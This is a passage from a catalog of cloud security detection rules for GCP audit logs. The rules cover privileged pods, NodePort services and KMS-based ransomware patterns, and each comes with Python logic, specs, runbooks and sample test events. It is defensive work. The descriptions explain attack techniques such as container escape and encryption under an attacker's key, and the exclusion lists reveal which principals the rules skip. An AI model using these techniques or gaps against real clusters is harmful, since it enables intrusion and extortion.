protoPayload.authenticationInfo.principalEmailstarts_withsystem:serviceaccount:config-management-system:excludes:protoPayload.authenticationInfo.principalEmail field:"protoPayload.authenticationInfo.principalEmail" value:"system:serviceaccount:config-management-system:"
protoPayload.authenticationInfo.principalEmailstarts_withsystem:serviceaccount:gke-managed-system:excludes:protoPayload.authenticationInfo.principalEmail field:"protoPayload.authenticationInfo.principalEmail" value:"system:serviceaccount:gke-managed-system:"
protoPayload.authenticationInfo.principalEmailstarts_withsystem:serviceaccount:gke-system:excludes:protoPayload.authenticationInfo.principalEmail field:"protoPayload.authenticationInfo.principalEmail" value:"system:serviceaccount:gke-system:"
protoPayload.authenticationInfo.principalEmailstarts_withsystem:serviceaccount:gmp-public:excludes:protoPayload.authenticationInfo.principalEmail field:"protoPayload.authenticationInfo.principalEmail" value:"system:serviceaccount:gmp-public:"
protoPayload.authenticationInfo.principalEmailstarts_withsystem:serviceaccount:gmp-system:excludes:protoPayload.authenticationInfo.principalEmail field:"protoPayload.authenticationInfo.principalEmail" value:"system:serviceaccount:gmp-system:"
protoPayload.authenticationInfo.principalEmailstarts_withsystem:serviceaccount:istio-system:excludes:protoPayload.authenticationInfo.principalEmail field:"protoPayload.authenticationInfo.principalEmail" value:"system:serviceaccount:istio-system:"
protoPayload.authenticationInfo.principalEmailstarts_withsystem:serviceaccount:kube-node-lease:excludes:protoPayload.authenticationInfo.principalEmail field:"protoPayload.authenticationInfo.principalEmail" value:"system:serviceaccount:kube-node-lease:"
protoPayload.authenticationInfo.principalEmailstarts_withsystem:serviceaccount:kube-public:excludes:protoPayload.authenticationInfo.principalEmail field:"protoPayload.authenticationInfo.principalEmail" value:"system:serviceaccount:kube-public:"
protoPayload.authenticationInfo.principalEmailstarts_withsystem:serviceaccount:kube-system:excludes:protoPayload.authenticationInfo.principalEmail field:"protoPayload.authenticationInfo.principalEmail" value:"system:serviceaccount:kube-system:"
protoPayload.authenticationInfo.principalEmailis_not_null(no value, null check)excludes:protoPayload.authenticationInfo.principalEmail
protoPayload.resourceNameis_not_null(no value, null check)excludes:protoPayload.resourceName

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
projectresource.labels.project_id
principalprotoPayload.authenticationInfo.principalEmail
caller_ipprotoPayload.requestMetadata.callerIP
methodNameprotoPayload.methodName
resourceNameprotoPayload.resourceName
serviceNameprotoPayload.serviceName

Response runbook

Investigate a reason of creating a pod using the host PID namespace. Advise that it is discouraged practice. Create ticket if appropriate.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "authorizationInfo": [
    {
      "granted": true,
      "permission": "io.k8s.core.v1.pods.create",
      "resource": "core/v1/namespaces/default/pods/nginx-test"
    }
  ],
  "protoPayload": {
    "methodName": "io.k8s.core.v1.pods.create",
    "request": {
      "spec": {
        "hostPID": true
      }
    }
  }
}

GCP K8S Privileged Pod Created

#
Status
Deprecated
Severity
high
Group by
protoPayload.authenticationInfo.principalEmail
Log types
GCP.AuditLog
Tags
Deprecated
Reference
www.golinuxcloud.com
Source
github.com/panther-labs/panther-analysis

Alerts when a user creates privileged pod. These particular pods have full access to the host’s namespace and devices, have the ability to exploit the kernel, have dangerous linux capabilities, and can be a powerful launching point for further attacks. In the event of a successful container escape where a user is operating with root privileges, the attacker retains this role on the node.

MITRE ATT&CK coverage

TacticTechniques
Privilege Escalation

Telemetry coverage

PlatformRecord / event type
Kubernetescreate-pods: create pods

Rules detecting the same action

These rules filter on the same operation.

Detection logic

from panther_base_helpers import deep_get
from panther_gcp_helpers import gcp_alert_context, is_gke_system_namespace, is_gke_system_principal


def rule(event):
    # Check basic conditions that would exclude this event
    if (
        event.deep_get("protoPayload", "response", "status") == "Failure"
        or event.deep_get("protoPayload", "methodName") != "io.k8s.core.v1.pods.create"
    ):
        return False

    # Check if this is a known service account or system namespace that should be excluded
    principal_email = event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default=""
    )
    resource_name = event.deep_get("protoPayload", "resourceName", default="")

    if is_gke_system_principal(principal_email) or is_gke_system_namespace(resource_name):
        return False

    # Check for privileged pod creation
    authorization_info = event.deep_walk("protoPayload", "authorizationInfo")
    if not authorization_info:
        return False

    containers_info = event.deep_walk("protoPayload", "response", "spec", "containers")
    for auth in authorization_info:
        if auth.get("permission") == "io.k8s.core.v1.pods.create" and auth.get("granted") is True:
            for security_context in containers_info:
                # Check for privileged pods and pods running as root
                # Reference:
                # https://kubernetes.io/docs/concepts/security/pod-security-standards/#restricted
                if (
                    deep_get(security_context, "securityContext", "privileged") is True
                    or deep_get(security_context, "securityContext", "runAsNonRoot") is False
                ):
                    return True

    return False


def title(event):
    actor = event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
    )
    pod_name = event.deep_get("protoPayload", "resourceName", default="<RESOURCE_NOT_FOUND>")
    project_id = event.deep_get("resource", "labels", "project_id", default="<PROJECT_NOT_FOUND>")

    return f"[GCP]: [{actor}] created a privileged pod [{pod_name}] in project [{project_id}]"


def dedup(event):
    return event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
    )


def alert_context(event):
    context = gcp_alert_context(event)
    containers_info = event.deep_walk("protoPayload", "response", "spec", "containers", default=[])
    context["pod_security_context"] = [i.get("securityContext") for i in containers_info]
    return context

Rule specification

AnalysisType: rule
RuleID: "GCP.K8S.Privileged.Pod.Created"
DisplayName: "GCP K8S Privileged Pod Created"
Enabled: false
Status: Deprecated
LogTypes:
  - GCP.AuditLog
Severity: High
Tags:
  - Deprecated
Filename: gcp_k8s_privileged_pod_created.py
Description: >
  Alerts when a user creates privileged pod. These particular pods have full access to the host’s namespace and
  devices, have the ability to exploit the kernel, have dangerous linux capabilities, and can be a powerful launching
  point for further attacks. In the event of a successful container escape where a user is operating with root
  privileges, the attacker retains this role on the node.
Runbook: |
  Investigate the reason of creating privileged pod. Advise that it is discouraged practice.
  Create ticket if appropriate.
Reference: https://www.golinuxcloud.com/kubernetes-privileged-pod-examples/
Reports:
  MITRE ATT&CK:
    - TA0004:T1548 # Abuse Elevation Control Mechanism
DedupPeriodMinutes: 360

Stages and Predicates

Fires on GCP.AuditLog events when all of the conditions below hold.

Condition

  • protoPayload.response.status is not Failure
  • protoPayload.methodName is io.k8s.core.v1.pods.create
  • any of:
    • protoPayload.authenticationInfo.principalEmail is empty
    • all of:
      • protoPayload.authenticationInfo.principalEmail does not start with system:kube-controller-manager
      • protoPayload.authenticationInfo.principalEmail does not start with system:kube-scheduler
      • protoPayload.authenticationInfo.principalEmail does not start with system:addon-manager
      • protoPayload.authenticationInfo.principalEmail does not start with system:serviceaccount:kube-system:
      • protoPayload.authenticationInfo.principalEmail does not start with system:serviceaccount:kube-public:
      • protoPayload.authenticationInfo.principalEmail does not start with system:serviceaccount:kube-node-lease:
      • protoPayload.authenticationInfo.principalEmail does not start with system:serviceaccount:gke-system:
      • protoPayload.authenticationInfo.principalEmail does not start with system:serviceaccount:gke-managed-system:
      • protoPayload.authenticationInfo.principalEmail does not start with system:serviceaccount:gmp-system:
      • protoPayload.authenticationInfo.principalEmail does not start with system:serviceaccount:gmp-public:
      • protoPayload.authenticationInfo.principalEmail does not start with system:serviceaccount:config-management-system:
      • protoPayload.authenticationInfo.principalEmail does not start with system:serviceaccount:istio-system:
      • protoPayload.authenticationInfo.principalEmail does not start with system:serviceaccount:asm-system:
  • protoPayload.resourceName is empty
  • protoPayload.authorizationInfo is present

This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.

Alert deduplication
repeat matches within 6h group into one alert

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
protoPayload.authenticationInfo.principalEmailstarts_withsystem:addon-managerexcludes:protoPayload.authenticationInfo.principalEmail field:"protoPayload.authenticationInfo.principalEmail" value:"system:addon-manager"
protoPayload.authenticationInfo.principalEmailstarts_withsystem:kube-controller-managerexcludes:protoPayload.authenticationInfo.principalEmail field:"protoPayload.authenticationInfo.principalEmail" value:"system:kube-controller-manager"
protoPayload.authenticationInfo.principalEmailstarts_withsystem:kube-schedulerexcludes:protoPayload.authenticationInfo.principalEmail field:"protoPayload.authenticationInfo.principalEmail" value:"system:kube-scheduler"
protoPayload.authenticationInfo.principalEmailstarts_withsystem:serviceaccount:asm-system:excludes:protoPayload.authenticationInfo.principalEmail field:"protoPayload.authenticationInfo.principalEmail" value:"system:serviceaccount:asm-system:"
protoPayload.authenticationInfo.principalEmailstarts_withsystem:serviceaccount:config-management-system:excludes:protoPayload.authenticationInfo.principalEmail field:"protoPayload.authenticationInfo.principalEmail" value:"system:serviceaccount:config-management-system:"
protoPayload.authenticationInfo.principalEmailstarts_withsystem:serviceaccount:gke-managed-system:excludes:protoPayload.authenticationInfo.principalEmail field:"protoPayload.authenticationInfo.principalEmail" value:"system:serviceaccount:gke-managed-system:"
protoPayload.authenticationInfo.principalEmailstarts_withsystem:serviceaccount:gke-system:excludes:protoPayload.authenticationInfo.principalEmail field:"protoPayload.authenticationInfo.principalEmail" value:"system:serviceaccount:gke-system:"
protoPayload.authenticationInfo.principalEmailstarts_withsystem:serviceaccount:gmp-public:excludes:protoPayload.authenticationInfo.principalEmail field:"protoPayload.authenticationInfo.principalEmail" value:"system:serviceaccount:gmp-public:"
protoPayload.authenticationInfo.principalEmailstarts_withsystem:serviceaccount:gmp-system:excludes:protoPayload.authenticationInfo.principalEmail field:"protoPayload.authenticationInfo.principalEmail" value:"system:serviceaccount:gmp-system:"
protoPayload.authenticationInfo.principalEmailstarts_withsystem:serviceaccount:istio-system:excludes:protoPayload.authenticationInfo.principalEmail field:"protoPayload.authenticationInfo.principalEmail" value:"system:serviceaccount:istio-system:"
protoPayload.authenticationInfo.principalEmailstarts_withsystem:serviceaccount:kube-node-lease:excludes:protoPayload.authenticationInfo.principalEmail field:"protoPayload.authenticationInfo.principalEmail" value:"system:serviceaccount:kube-node-lease:"
protoPayload.authenticationInfo.principalEmailstarts_withsystem:serviceaccount:kube-public:excludes:protoPayload.authenticationInfo.principalEmail field:"protoPayload.authenticationInfo.principalEmail" value:"system:serviceaccount:kube-public:"
protoPayload.authenticationInfo.principalEmailstarts_withsystem:serviceaccount:kube-system:excludes:protoPayload.authenticationInfo.principalEmail field:"protoPayload.authenticationInfo.principalEmail" value:"system:serviceaccount:kube-system:"
protoPayload.authenticationInfo.principalEmailis_not_null(no value, null check)excludes:protoPayload.authenticationInfo.principalEmail
protoPayload.resourceNameis_not_null(no value, null check)excludes:protoPayload.resourceName
protoPayload.methodNameneio.k8s.core.v1.pods.createexcludes:protoPayload.methodName field:"protoPayload.methodName" value:"io.k8s.core.v1.pods.create"
protoPayload.response.statuseqFailureexcludes:protoPayload.response.status field:"protoPayload.response.status" value:"Failure"

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
projectresource.labels.project_id
principalprotoPayload.authenticationInfo.principalEmail
caller_ipprotoPayload.requestMetadata.callerIP
methodNameprotoPayload.methodName
resourceNameprotoPayload.resourceName
serviceNameprotoPayload.serviceName

Response runbook

Investigate the reason of creating privileged pod. Advise that it is discouraged practice.

Create ticket if appropriate.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "logName": "projects/some-project/logs/cloudaudit.googleapis.com%2Factivity",
  "operation": {},
  "protoPayload": {
    "at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
    "authenticationInfo": {
      "principalEmail": "john.doe@company.com"
    },
    "authorizationInfo": [
      {
        "granted": true,
        "permission": "io.k8s.core.v1.pods.create",
        "resource": "core/v1/namespaces/default/pods/test-privileged-pod"
      }
    ],
    "methodName": "io.k8s.core.v1.pods.create",
    "request": {
      "@type": "core.k8s.io/v1.Pod",
      "apiVersion": "v1",
      "kind": "Pod",
      "metadata": {
        "name": "test-privileged-pod",
        "namespace": "default"
      },
      "spec": {
        "containers": [
          {
            "image": "nginx",
            "imagePullPolicy": "Always",
            "name": "nginx",
            "resources": {},
            "securityContext": {
              "privileged": true
            }
          }
        ],
        "securityContext": {}
      },
      "status": {}
    },
    "requestMetadata": {
      "callerIP": "1.2.3.4"
    },
    "resourceName": "core/v1/namespaces/default/pods/test-privileged-pod",
    "response": {
      "@type": "core.k8s.io/v1.Pod",
      "apiVersion": "v1",
      "kind": "Pod",
      "metadata": {},
      "spec": {
        "containers": [
          {
            "image": "nginx",
            "imagePullPolicy": "Always",
            "name": "nginx",
            "resources": {},
            "securityContext": {
              "privileged": true
            }
          }
        ],
        "securityContext": {},
        "serviceAccount": "default",
        "serviceAccountName": "default",
        "terminationGracePeriodSeconds": 30
      },
      "status": {}
    },
    "serviceName": "k8s.io",
    "status": {}
  },
  "receiveTimestamp": "2024-02-13 12:45:20.058795785",
  "resource": {
    "labels": {
      "cluster_name": "some-project-cluster",
      "location": "us-west1",
      "project_id": "some-project"
    },
    "type": "k8s_cluster"
  },
  "timestamp": "2024-02-13 12:45:06.073905000"
}

GCP K8S Service Type NodePort Deployed

#
Status
Deprecated
Severity
high
Log types
GCP.AuditLog
Tags
Deprecated, Exploit Public-Facing Application, Initial Access
Reference
kubernetes.io
Source
github.com/panther-labs/panther-analysis

This detection monitors for any kubernetes service deployed with type node port. A Node Port service allows an attacker to expose a set of pods hosting the service to the internet by opening their port and redirecting traffic here. This can be used to bypass network controls and intercept traffic, creating a direct line to the outside network.

MITRE ATT&CK coverage

TacticTechniques
Initial Access

Telemetry coverage

Rules detecting the same action

These rules filter on the same operation.

Detection logic

from panther_gcp_helpers import gcp_alert_context


def rule(event):
    if event.deep_get("protoPayload", "response", "status") == "Failure":
        return False

    if event.deep_get("protoPayload", "methodName") != "io.k8s.core.v1.services.create":
        return False

    if event.deep_get("protoPayload", "request", "spec", "type") != "NodePort":
        return False

    authorization_info = event.deep_walk("protoPayload", "authorizationInfo")
    if not authorization_info:
        return False

    for auth in authorization_info:
        if (
            auth.get("permission") == "io.k8s.core.v1.services.create"
            and auth.get("granted") is True
        ):
            return True
    return False


def title(event):
    actor = event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
    )
    project_id = event.deep_get("resource", "labels", "project_id", default="<PROJECT_NOT_FOUND>")

    return f"[GCP]: [{actor}] created NodePort service in project [{project_id}]"


def alert_context(event):
    context = gcp_alert_context(event)
    request_spec = event.deep_walk("protoPayload", "request", "spec")
    context["request_spec"] = request_spec
    return context

Rule specification

AnalysisType: rule
RuleID: "GCP.K8S.Service.Type.NodePort.Deployed"
DisplayName: "GCP K8S Service Type NodePort Deployed"
Enabled: false
Status: Deprecated
Filename: gcp_k8s_service_type_node_port_deployed.py
LogTypes:
  - GCP.AuditLog
Severity: High
Description: >
  This detection monitors for any kubernetes service deployed with type node port. A Node Port service allows
  an attacker to expose a set of pods hosting the service to the internet by opening their port and redirecting
  traffic here. This can be used to bypass network controls and intercept traffic, creating a direct line to
  the outside network.
Runbook: |
  Investigate the reason of creating NodePort service. Advise that it is discouraged practice.
  Create ticket if appropriate.
Reference: https://kubernetes.io/docs/tutorials/kubernetes-basics/expose/expose-intro/
Tags:
  - Deprecated
  - Exploit Public-Facing Application
  - Initial Access
Reports:
  MITRE ATT&CK:
    - TA0001:T1190 # Exploit Public-Facing Application

Stages and Predicates

Fires on GCP.AuditLog events when all of the conditions below hold.

Condition

  • protoPayload.response.status is not Failure
  • protoPayload.methodName is io.k8s.core.v1.services.create
  • protoPayload.request.spec.type is NodePort
  • protoPayload.authorizationInfo is present
  • any element of protoPayload.authorizationInfo matches all of:
    • protoPayload.authorizationInfo.permission is io.k8s.core.v1.services.create
    • protoPayload.authorizationInfo.granted is true
  • protoPayload.authorizationInfo.permission is io.k8s.core.v1.services.create

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
projectresource.labels.project_id
principalprotoPayload.authenticationInfo.principalEmail
caller_ipprotoPayload.requestMetadata.callerIP
methodNameprotoPayload.methodName
resourceNameprotoPayload.resourceName
serviceNameprotoPayload.serviceName

Response runbook

Investigate the reason of creating NodePort service. Advise that it is discouraged practice.

Create ticket if appropriate.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "logName": "projects/some-project/logs/cloudaudit.googleapis.com%2Factivity",
  "protoPayload": {
    "at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
    "authenticationInfo": {
      "principalEmail": "some.user@company.com"
    },
    "authorizationInfo": [
      {
        "granted": true,
        "permission": "io.k8s.core.v1.services.create",
        "resource": "core/v1/namespaces/default/services/test-ns"
      }
    ],
    "methodName": "io.k8s.core.v1.services.create",
    "request": {
      "@type": "core.k8s.io/v1.Service",
      "apiVersion": "v1",
      "kind": "Service",
      "spec": {
        "ports": [
          {
            "name": "5678-8080",
            "port": 5678,
            "protocol": "TCP",
            "targetPort": 8080
          }
        ],
        "type": "NodePort"
      }
    },
    "requestMetadata": {
      "callerIP": "1.2.3.4",
      "callerSuppliedUserAgent": "kubectl/v1.28.2 (darwin/amd64) kubernetes/89a4ea3"
    },
    "resourceName": "core/v1/namespaces/default/services/test-ns",
    "response": {
      "@type": "core.k8s.io/v1.Service",
      "apiVersion": "v1",
      "kind": "Service",
      "metadata": {
        "creationTimestamp": "2024-02-19T12:02:21Z",
        "name": "test-ns",
        "namespace": "default",
        "resourceVersion": "15036073",
        "uid": "28758fe1-534a-4705-bcc2-12eeac6f11a4"
      },
      "spec": {
        "clusterIP": "2.3.4.5",
        "clusterIPs": [
          "2.3.4.5"
        ],
        "ports": [
          {
            "name": "5678-8080",
            "nodePort": 32361,
            "port": 5678,
            "protocol": "TCP",
            "targetPort": 8080
          }
        ],
        "type": "NodePort"
      }
    },
    "serviceName": "k8s.io",
    "status": {}
  },
  "receiveTimestamp": "2024-02-19 12:02:39.542633547",
  "resource": {
    "labels": {
      "cluster_name": "some-project-cluster",
      "location": "us-west1",
      "project_id": "some-project"
    },
    "type": "k8s_cluster"
  },
  "timestamp": "2024-02-19 12:02:22.057586000"
}

GCP KMS Bulk Encryption by GCS Service Account

#
Severity
medium
Log types
GCP.AuditLog
Tags
GCP, Google Cloud KMS, Impact:Data Encrypted for Impact, Ransomware
Reference
cloud.google.com
Source
github.com/panther-labs/panther-analysis

Detects bulk KMS encryption operations performed by the GCS service account. This pattern is indicative of a ransomware attack where an adversary directly calls the KMS Encrypt API using the GCS service account identity to encrypt data at scale, effectively holding data hostage. The threshold of 10+ encryption operations suggests automated bulk encryption rather than normal application behavior.

MITRE ATT&CK coverage

TacticTechniques
Impact

Telemetry coverage

PlatformRecord / event type
GCPEncrypt

Detection logic

def rule(event):

    method_name = event.deep_get("protoPayload", "methodName")
    service_name = event.deep_get("protoPayload", "serviceName")
    principal = event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default="<UNKNOWN_PRINCIPAL>"
    )
    severity = event.get("severity")
    return all(
        [
            method_name == "Encrypt",
            service_name == "cloudkms.googleapis.com",
            "gs-project-accounts.iam.gserviceaccount.com" in principal,
            severity != "ERROR",  # Operation succeeded
        ]
    )


def title(event):
    key = event.deep_get("resource", "labels", "crypto_key_id", default="Unknown")
    return f"GCS service account performing bulk KMS encryption with key [{key}]"


def alert_context(event):
    return {
        "principal": event.deep_get("protoPayload", "authenticationInfo", "principalEmail"),
        "kms_key": event.deep_get("protoPayload", "resourceName"),
        "key_ring": event.deep_get("resource", "labels", "key_ring_id"),
        "crypto_key": event.deep_get("resource", "labels", "crypto_key_id"),
        "project": event.deep_get("resource", "labels", "project_id"),
        "status": event.deep_get("protoPayload", "status"),
        "location": event.deep_get("resource", "labels", "location"),
    }

Rule specification

AnalysisType: rule
Filename: gcp_kms_bulk_encryption.py
RuleID: "GCP.KMS.BulkEncryption"
DisplayName: "GCP KMS Bulk Encryption by GCS Service Account"
Enabled: true
Threshold: 10
DedupPeriodMinutes: 15
LogTypes:
  - GCP.AuditLog
Tags:
  - GCP
  - Google Cloud KMS
  - Impact:Data Encrypted for Impact
  - Ransomware
Reports:
  MITRE ATT&CK:
    - TA0040:T1486
Severity: Medium
Description: >
  Detects bulk KMS encryption operations performed by the GCS service account. This pattern
  is indicative of a ransomware attack where an adversary directly calls the KMS Encrypt API
  using the GCS service account identity to encrypt data at scale, effectively holding data
  hostage. The threshold of 10+ encryption operations suggests automated bulk encryption
  rather than normal application behavior.
Runbook: |
  1. Query GCP Audit logs for all KMS Encrypt API calls by the GCS service account in the 1 hour window around this alert
  2. Identify the total number of encryption operations and the rate of operations per minute
  3. Check if KMS IAM policies were recently modified to grant the GCS service account encryption permissions
  4. Investigate the source of these encryption calls and what data is being encrypted
  5. Search for related GCS operations (object rewrite, copy, bucket updates) in the same time window
  6. Look for other ransomware indicators (disabled KMS keys, bucket configuration changes) from this project in the past 24 hours
Reference: https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys/encrypt
SummaryAttributes:
  - severity
  - p_any_emails

Stages and Predicates

Fires on GCP.AuditLog events when all of the conditions below hold.

Condition

  • protoPayload.methodName is Encrypt
  • protoPayload.serviceName is cloudkms.googleapis.com
  • protoPayload.authenticationInfo.principalEmail contains gs-project-accounts.iam.gserviceaccount.com
  • severity is not ERROR
Alert cadence
alerts after 10 matches within 15m

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
principalprotoPayload.authenticationInfo.principalEmail
kms_keyprotoPayload.resourceName
key_ringresource.labels.key_ring_id
crypto_keyresource.labels.crypto_key_id
projectresource.labels.project_id
statusprotoPayload.status
locationresource.labels.location

Response runbook

1. Query GCP Audit logs for all KMS Encrypt API calls by the GCS service account in the 1 hour window around this alert

2. Identify the total number of encryption operations and the rate of operations per minute

3. Check if KMS IAM policies were recently modified to grant the GCS service account encryption permissions

4. Investigate the source of these encryption calls and what data is being encrypted

5. Search for related GCS operations (object rewrite, copy, bucket updates) in the same time window

6. Look for other ransomware indicators (disabled KMS keys, bucket configuration changes) from this project in the past 24 hours

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "protoPayload": {
    "at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
    "authenticationInfo": {
      "principalEmail": "service-111111111111-gs-project-accounts.iam.gserviceaccount.com"
    },
    "methodName": "Encrypt",
    "resourceName": "projects/test-project/locations/us/keyRings/test-keyring/cryptoKeys/test-key",
    "serviceName": "cloudkms.googleapis.com",
    "status": {}
  },
  "resource": {
    "labels": {
      "crypto_key_id": "test-key",
      "key_ring_id": "test-keyring",
      "location": "us",
      "project_id": "test-project"
    },
    "type": "cloudkms_cryptokey"
  },
  "severity": "INFO",
  "timestamp": "2025-12-15 15:40:47.284488263"
}

GCP KMS Cross-Project Encryption

#
Severity
high
Log types
GCP.AuditLog
Tags
GCP, KMS, Encryption, Ransomware
Reference
cloud.google.com
Source
github.com/panther-labs/panther-analysis

Detects when a GCS service account in one project uses a KMS encryption key from a different project. This could indicate potential ransomware activity where an attacker is using their own KMS key to encrypt data in a victim's project, making it inaccessible without the attacker's key.

Telemetry coverage

PlatformRecord / event type
GCPEncrypt

Detection logic

from panther_gcp_helpers import gcp_alert_context


def rule(event):
    if (
        event.deep_get("protoPayload", "serviceName") != "cloudkms.googleapis.com"
        or event.deep_get("protoPayload", "methodName") != "Encrypt"
        or "gs-project-accounts.iam.gserviceaccount.com"
        not in event.deep_get("protoPayload", "authenticationInfo", "principalEmail", default="")
    ):
        return False

    # Get the target project from the log name
    # Format: projects/PROJECT/logs/cloudaudit.googleapis.com%2Fdata_access
    source_project = None
    if event.get("logName").startswith("projects/"):
        parts = event.get("logName").split("/")
        if len(parts) >= 2:
            source_project = parts[1]

    kms_project = None
    if event.deep_get("protoPayload", "resourceName").startswith("projects/"):
        parts = event.deep_get("protoPayload", "resourceName").split("/")
        if len(parts) >= 2:
            kms_project = parts[1]

    if source_project and kms_project is not None and source_project != kms_project:
        return True

    return False


def title(event):
    kms_key = event.deep_get("protoPayload", "resourceName", default="<UNKNOWN_KMS_KEY>")
    principal = event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default="<UNKNOWN_PRINCIPAL>"
    )
    return f"Cross-project KMS encryption by [{principal}] using key [{kms_key}] detected"


def alert_context(event):
    context = gcp_alert_context(event)
    context["kms_key"] = event.deep_get("protoPayload", "resourceName", default="<UNKNOWN_KMS_KEY>")
    return context

Rule specification

AnalysisType: rule
Filename: gcp_kms_cross_project_encryption.py
RuleID: "GCP.KMS.CrossProjectEncryption"
DisplayName: "GCP KMS Cross-Project Encryption"
Enabled: true
LogTypes:
  - GCP.AuditLog
Tags:
  - GCP
  - KMS
  - Encryption
  - Ransomware
Severity: High
Description: >
  Detects when a GCS service account in one project uses a KMS encryption key from a different project.
  This could indicate potential ransomware activity where an attacker is using their own KMS key to encrypt
  data in a victim's project, making it inaccessible without the attacker's key.
Runbook: |
  1. Query GCP audit logs for all KMS operations by the principal email in the 24 hours before and after this alert to understand the scope of encryption activity
  2. Check if the cross-project KMS key access is documented in approved service integrations or has been used by this service account in the past 90 days
  3. Find all storage operations (GCS object writes, rewrites) by this service account in the 1 hour window around the alert to identify potentially affected data
Reference: >
  https://cloud.google.com/kms/docs/encrypt-decrypt
  https://cloud.google.com/storage/docs/encryption/customer-managed-keys
SummaryAttributes:
  - protoPayload:authenticationInfo:principalEmail
  - protoPayload:resourceName
  - resource:labels:project_id

Stages and Predicates

Fires on GCP.AuditLog events when all of the conditions below hold.

Condition

  • protoPayload.serviceName is cloudkms.googleapis.com
  • protoPayload.methodName is Encrypt
  • protoPayload.authenticationInfo.principalEmail contains gs-project-accounts.iam.gserviceaccount.com

This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.

Exclusions

The rule actively suppresses these predicates.

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
projectresource.labels.project_id
principalprotoPayload.authenticationInfo.principalEmail
caller_ipprotoPayload.requestMetadata.callerIP
methodNameprotoPayload.methodName
resourceNameprotoPayload.resourceName
serviceNameprotoPayload.serviceName

Response runbook

1. Query GCP audit logs for all KMS operations by the principal email in the 24 hours before and after this alert to understand the scope of encryption activity

2. Check if the cross-project KMS key access is documented in approved service integrations or has been used by this service account in the past 90 days

3. Find all storage operations (GCS object writes, rewrites) by this service account in the 1 hour window around the alert to identify potentially affected data

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "insertId": "test-insert-id-001",
  "logName": "projects/victim-project/logs/cloudaudit.googleapis.com%2Fdata_access",
  "p_log_type": "GCP.AuditLog",
  "protoPayload": {
    "at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
    "authenticationInfo": {
      "principalEmail": "service-111111111111-gs-project-accounts.iam.gserviceaccount.com"
    },
    "authorizationInfo": [
      {
        "granted": true,
        "permission": "cloudkms.cryptoKeyVersions.useToEncrypt",
        "permissionType": "DATA_READ",
        "resource": "projects/victim-project/locations/us/keyRings/test-keyring/cryptoKeys/test-key"
      }
    ],
    "methodName": "Encrypt",
    "request": {
      "@type": "type.googleapis.com/google.cloud.kms.v1.EncryptRequest",
      "name": "projects/victim-project/locations/us/keyRings/test-keyring/cryptoKeys/test-key"
    },
    "resourceName": "projects/attacker-project/locations/us/keyRings/malicious-keyring/cryptoKeys/ransomware-key",
    "serviceName": "cloudkms.googleapis.com"
  },
  "resource": {
    "labels": {
      "crypto_key_id": "test-key",
      "key_ring_id": "test-keyring",
      "location": "us",
      "project_id": "victim-project"
    },
    "type": "cloudkms_cryptokey"
  },
  "severity": "INFO",
  "timestamp": "2025-12-02 19:41:27.745108384"
}

GCP KMS Key Granted to GCS Service Account

#
Severity
medium
Log types
GCP.AuditLog
Tags
GCP, Google Cloud KMS, Defense Evasion:Impair Defenses, Impact:Data Encrypted for Impact, Ransomware
Reference
cloud.google.com
Source
github.com/panther-labs/panther-analysis

Detects when a KMS IAM policy grants encryption/decryption permissions to a GCS service account. This pattern may indicate a ransomware attack where an adversary grants a GCS service account access to KMS keys to enable encryption of cloud storage objects.

MITRE ATT&CK coverage

TacticTechniques
Defense Impairment
Impact

Telemetry coverage

Detection logic

def rule(event):
    method_name = event.deep_get("protoPayload", "methodName")
    service_name = event.deep_get("protoPayload", "serviceName")
    status_code = event.deep_get("protoPayload", "status", "code")

    # Pre-filter
    # return False if any basic condition fails
    if any(
        [
            method_name != "SetIamPolicy",
            service_name != "cloudkms.googleapis.com",
            status_code,  # Operation failed
        ]
    ):
        return False

    # Extract the policy bindings from the request
    bindings = event.deep_get("protoPayload", "request", "policy", "bindings", default=[])

    for binding in bindings:
        role = binding.get("role", "")
        members = binding.get("members", [])

        # Check if granting KMS encryption/decryption permissions
        role_lower = role.lower()
        if "cryptokey" in role_lower and ("encrypt" in role_lower or "decrypt" in role_lower):
            for member in members:
                # Alert if granting to GCS service account
                if "gs-project-accounts.iam.gserviceaccount.com" in member:
                    return True

    return False


def title(event):
    actor = event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default="Unknown"
    )
    kms_key = event.deep_get("protoPayload", "resourceName", default="Unknown")
    return f"GCP KMS key [{kms_key}] granted encryption permissions by [{actor}]"


def alert_context(event):
    bindings = event.deep_get("protoPayload", "request", "policy", "bindings", default=[])
    return {
        "actor": event.deep_get("protoPayload", "authenticationInfo", "principalEmail"),
        "kms_key": event.deep_get("protoPayload", "resourceName"),
        "source_ip": event.deep_get("protoPayload", "requestMetadata", "callerIp"),
        "project": event.deep_get("resource", "labels", "project_id"),
        "bindings": bindings,
    }

Rule specification

